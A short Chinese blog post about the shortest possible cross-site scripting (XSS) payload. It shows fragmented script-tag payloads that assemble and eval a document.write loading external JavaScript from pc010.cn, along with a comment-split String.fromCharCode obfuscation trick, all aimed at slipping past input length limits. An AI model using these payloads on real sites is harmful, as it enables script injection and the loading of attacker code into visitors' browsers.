最短的跨站代码

JerryXia 发表于 , 阅读 (2,313)

最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:

 <script>alert("a")</script>

查一下,一共27个字符。嘿嘿,不过,这之前我在《黑客手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

将这些语句分别写入,只要所写入的语句在一个页面中显示,那么这些代码最后就会引入到变量z中,总到一块就是:

document.write("<script src=http://www.pc010.cn/1.js></script>")

然后用eval()函数来执行这个z变量,就可以执行出跨站效果了。lcx在文章的评论中说,最小的有效利用代码可以是26个字母,就是

<script>z=z+'d"'</script>,

答案不就出来了,最小的跨站是26个字符。

(今天在网上查找资料时,发现利用这种方法还可以少一个字符,就是:

<script>z+='d"'</script>,

用+=来代替=z+,嘿嘿,又可以减少一个字符,25个字符,

不过,也好伤心,我好像只能在别人的基础上面有所突破!:( )。

下面就来进行拆分:

<script>/*
*/eval(/*
*/String/*
*/./*
*/fromCharCode/*
*/(100,/*
*/111,99,/*
*/......./*
*/59))/*
*/</script>

中间的….表示的字符和前面的一样,这其中最长的一个语句是:/fromCharCode/ ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。

添加新评论